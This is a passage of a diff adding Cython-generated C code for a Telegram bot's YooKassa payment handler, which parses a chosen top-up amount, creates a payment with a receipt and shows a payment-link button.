= NULL; + PyObject *__pyx_t_7 = NULL; + int __pyx_t_8; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + unsigned int __pyx_t_11; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + Py_UCS4 __pyx_t_15; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L13_resume_from_await; + case 2: goto __pyx_L14_resume_from_await; + case 3: goto __pyx_L16_resume_from_await; + case 4: goto __pyx_L17_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 101, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":105 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< + * + * if len(data) != 2: + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_data = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":107 + * data = callback_query.data.split("|", 1) + * + * if len(data) != 2: # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_3 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_3 == ((Py_ssize_t)-1))) __PYX_ERR(0, 107, __pyx_L1_error) + __pyx_t_4 = (__pyx_t_3 != 2); + if (__pyx_t_4) { + + /* "handlers/payments/yookassa_pay.py":108 + * + * if len(data) != 2: + * return # <<<<<<<<<<<<<< + * + * amount_str = data[1] + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/yookassa_pay.py":107 + * data = callback_query.data.split("|", 1) + * + * if len(data) != 2: # <<<<<<<<<<<<<< + * return + * + */ + } + + /* "handlers/payments/yookassa_pay.py":110 + * return + * + * amount_str = data[1] # <<<<<<<<<<<<<< + * try: + * amount = int(amount_str) + */ + __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 110, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":111 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + { + __Pyx_ExceptionSave(&__pyx_t_5, &__pyx_t_6, &__pyx_t_7); + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_XGOTREF(__pyx_t_7); + /*try:*/ { + + /* "handlers/payments/yookassa_pay.py":112 + * amount_str = data[1] + * try: + * amount = int(amount_str) # <<<<<<<<<<<<<< + * except ValueError: + * return + */ + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 112, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":111 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + } + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + goto __pyx_L10_try_end; + __pyx_L5_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":113 + * try: + * amount = int(amount_str) + * except ValueError: # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_8 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_8) { + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_2, &__pyx_t_9) < 0) __PYX_ERR(0, 113, __pyx_L7_except_error) + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_9); + + /* "handlers/payments/yookassa_pay.py":114 + * amount = int(amount_str) + * except ValueError: + * return # <<<<<<<<<<<<<< + * + * await state.update_data(amount=amount) + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + goto __pyx_L8_except_return; + } + goto __pyx_L7_except_error; + + /* "handlers/payments/yookassa_pay.py":111 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + __pyx_L7_except_error:; + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_ExceptionReset(__pyx_t_5, __pyx_t_6, __pyx_t_7); + goto __pyx_L1_error; + __pyx_L8_except_return:; + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_ExceptionReset(__pyx_t_5, __pyx_t_6, __pyx_t_7); + goto __pyx_L0; + __pyx_L10_try_end:; + } + + /* "handlers/payments/yookassa_pay.py":116 + * return + * + * await state.update_data(amount=amount) # <<<<<<<<<<<<<< + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_yookassa + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 116, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L13_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 116, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 116, __pyx_L1_error) + } + } + + /* "handlers/payments/yookassa_pay.py":117 + * + * await state.update_data(amount=amount) + * await state.set_state( # <<<<<<<<<<<<<< + * ReplenishBalanceState.waiting_for_payment_confirmation_yookassa + * ) + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 117, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + + /* "handlers/payments/yookassa_pay.py":118 + * await state.update_data(amount=amount) + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_yookassa # <<<<<<<<<<<<<< + * ) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 118, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 118, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = NULL; + __pyx_t_11 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_9)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_9); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_11 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_9, __pyx_t_10}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 117, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L14_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 117, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 117, __pyx_L1_error) + } + } + + /* "handlers/payments/yookassa_pay.py":122 + * + * # state_data = await state.get_data() + * customer_name = callback_query.from_user.full_name # <<<<<<<<<<<<<< + * customer_id = callback_query.message.chat.id + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_full_name); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_customer_name = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":123 + * # state_data = await state.get_data() + * customer_name = callback_query.from_user.full_name + * customer_id = callback_query.message.chat.id # <<<<<<<<<<<<<< + * + * customer_email = f"{customer_id}@solo.net" + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 123, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 123, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 123, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_customer_id = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":125 + * customer_id = callback_query.message.chat.id + * + * customer_email = f"{customer_id}@solo.net" # <<<<<<<<<<<<<< + * + * payment = Payment.create( + */ + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_customer_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 125, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyUnicode_ConcatInPlace(__pyx_t_2, __pyx_kp_u_solo_net); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 125, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_customer_email = ((PyObject*)__pyx_t_1); + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":127 + * customer_email = f"{customer_id}@solo.net" + * + * payment = Payment.create( # <<<<<<<<<<<<<< + * { + * "amount": {"value": str(amount), "currency": "RUB"}, + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Payment); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_create); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":129 + * payment = Payment.create( + * { + * "amount": {"value": str(amount), "currency": "RUB"}, # <<<<<<<<<<<<<< + * "confirmation": { + * "type": "redirect", + */ + __pyx_t_2 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_12 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_value, __pyx_t_12) < 0) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 129, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_amount, __pyx_t_9) < 0) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/yookassa_pay.py":131 + * "amount": {"value": str(amount), "currency": "RUB"}, + * "confirmation": { + * "type": "redirect", # <<<<<<<<<<<<<< + * "return_url": "https://pocomacho.ru/success.html", + * }, + */ + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 131, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_type, __pyx_n_u_redirect) < 0) __PYX_ERR(0, 131, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_return_url, __pyx_kp_u_https_pocomacho_ru_success_html) < 0) __PYX_ERR(0, 131, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_confirmation, __pyx_t_9) < 0) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/yookassa_pay.py":134 + * "return_url": "https://pocomacho.ru/success.html", + * }, + * "capture": True, # <<<<<<<<<<<<<< + * "description": " ", + * "receipt": { + */ + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_capture, Py_True) < 0) __PYX_ERR(0, 129, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_description, __pyx_kp_u__8) < 0) __PYX_ERR(0, 129, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":137 + * "description": " ", + * "receipt": { + * "customer": { # <<<<<<<<<<<<<< + * "full_name": customer_name, + * "email": customer_email, + */ + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + + /* "handlers/payments/yookassa_pay.py":138 + * "receipt": { + * "customer": { + * "full_name": customer_name, # <<<<<<<<<<<<<< + * "email": customer_email, + * "phone": "79000000000", + */ + __pyx_t_12 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 138, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_full_name, __pyx_cur_scope->__pyx_v_customer_name) < 0) __PYX_ERR(0, 138, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":139 + * "customer": { + * "full_name": customer_name, + * "email": customer_email, # <<<<<<<<<<<<<< + * "phone": "79000000000", + * }, + */ + if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_email, __pyx_cur_scope->__pyx_v_customer_email) < 0) __PYX_ERR(0, 138, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_phone, __pyx_kp_u_79000000000) < 0) __PYX_ERR(0, 138, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_customer, __pyx_t_12) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + + /* "handlers/payments/yookassa_pay.py":144 + * "items": [ + * { + * "description": " ", # <<<<<<<<<<<<<< + * "quantity": "1.00", + * "amount": {"value": str(amount), "currency": "RUB"}, + */ + __pyx_t_12 = __Pyx_PyDict_NewPresized(4); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 144, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_description, __pyx_kp_u__8) < 0) __PYX_ERR(0, 144, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_quantity, __pyx_kp_u_1_00) < 0) __PYX_ERR(0, 144, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":146 + * "description": " ", + * "quantity": "1.00", + * "amount": {"value": str(amount), "currency": "RUB"}, # <<<<<<<<<<<<<< + * "vat_code": 1, + * } + */ + __pyx_t_13 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 146, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 146, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + if (PyDict_SetItem(__pyx_t_13, __pyx_n_u_value, __pyx_t_14) < 0) __PYX_ERR(0, 146, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (PyDict_SetItem(__pyx_t_13, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 146, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_amount, __pyx_t_13) < 0) __PYX_ERR(0, 144, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (PyDict_SetItem(__pyx_t_12, __pyx_n_u_vat_code, __pyx_int_1) < 0) __PYX_ERR(0, 144, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":142 + * "phone": "79000000000", + * }, + * "items": [ # <<<<<<<<<<<<<< + * { + * "description": " ", + */ + __pyx_t_13 = PyList_New(1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_GIVEREF(__pyx_t_12); + if (__Pyx_PyList_SET_ITEM(__pyx_t_13, 0, __pyx_t_12)) __PYX_ERR(0, 142, __pyx_L1_error); + __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_items, __pyx_t_13) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_receipt, __pyx_t_9) < 0) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/yookassa_pay.py":151 + * ], + * }, + * "metadata": {"user_id": customer_id}, # <<<<<<<<<<<<<< + * }, + * uuid.uuid4(), + */ + __pyx_t_9 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 151, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_user_id, __pyx_cur_scope->__pyx_v_customer_id) < 0) __PYX_ERR(0, 151, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_metadata, __pyx_t_9) < 0) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/yookassa_pay.py":153 + * "metadata": {"user_id": customer_id}, + * }, + * uuid.uuid4(), # <<<<<<<<<<<<<< + * ) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_uuid); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 153, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_uuid4); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 153, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = NULL; + __pyx_t_11 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_12))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_12); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_12); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_12, function); + __pyx_t_11 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_13, NULL}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_12, __pyx_callargs+1-__pyx_t_11, 0+__pyx_t_11); + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 153, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + } + __pyx_t_12 = NULL; + __pyx_t_11 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_10))) { + __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_10); + if (likely(__pyx_t_12)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10); + __Pyx_INCREF(__pyx_t_12); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_10, function); + __pyx_t_11 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_12, __pyx_t_2, __pyx_t_9}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_10, __pyx_callargs+1-__pyx_t_11, 2+__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_payment = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":156 + * ) + * + * if payment["status"] == "pending": # <<<<<<<<<<<<<< + * payment_url = payment["confirmation"]["confirmation_url"] + * + */ + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_status); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 156, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_n_u_pending, Py_EQ)); if (unlikely((__pyx_t_4 < 0))) __PYX_ERR(0, 156, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_4) { + + /* "handlers/payments/yookassa_pay.py":157 + * + * if payment["status"] == "pending": + * payment_url = payment["confirmation"]["confirmation_url"] # <<<<<<<<<<<<<< + * + * confirm_keyboard = InlineKeyboardMarkup( + */ + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_confirmation); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 157, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_10 = __Pyx_PyObject_Dict_GetItem(__pyx_t_1, __pyx_n_u_confirmation_url); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 157, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_v_payment_url = __pyx_t_10; + __pyx_t_10 = 0; + + /* "handlers/payments/yookassa_pay.py":159 + * payment_url = payment["confirmation"]["confirmation_url"] + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + + /* "handlers/payments/yookassa_pay.py":160 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 160, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/yookassa_pay.py":161 + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text=" ", callback_data="pay")], + * ] + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 161, __pyx_L1_error) + 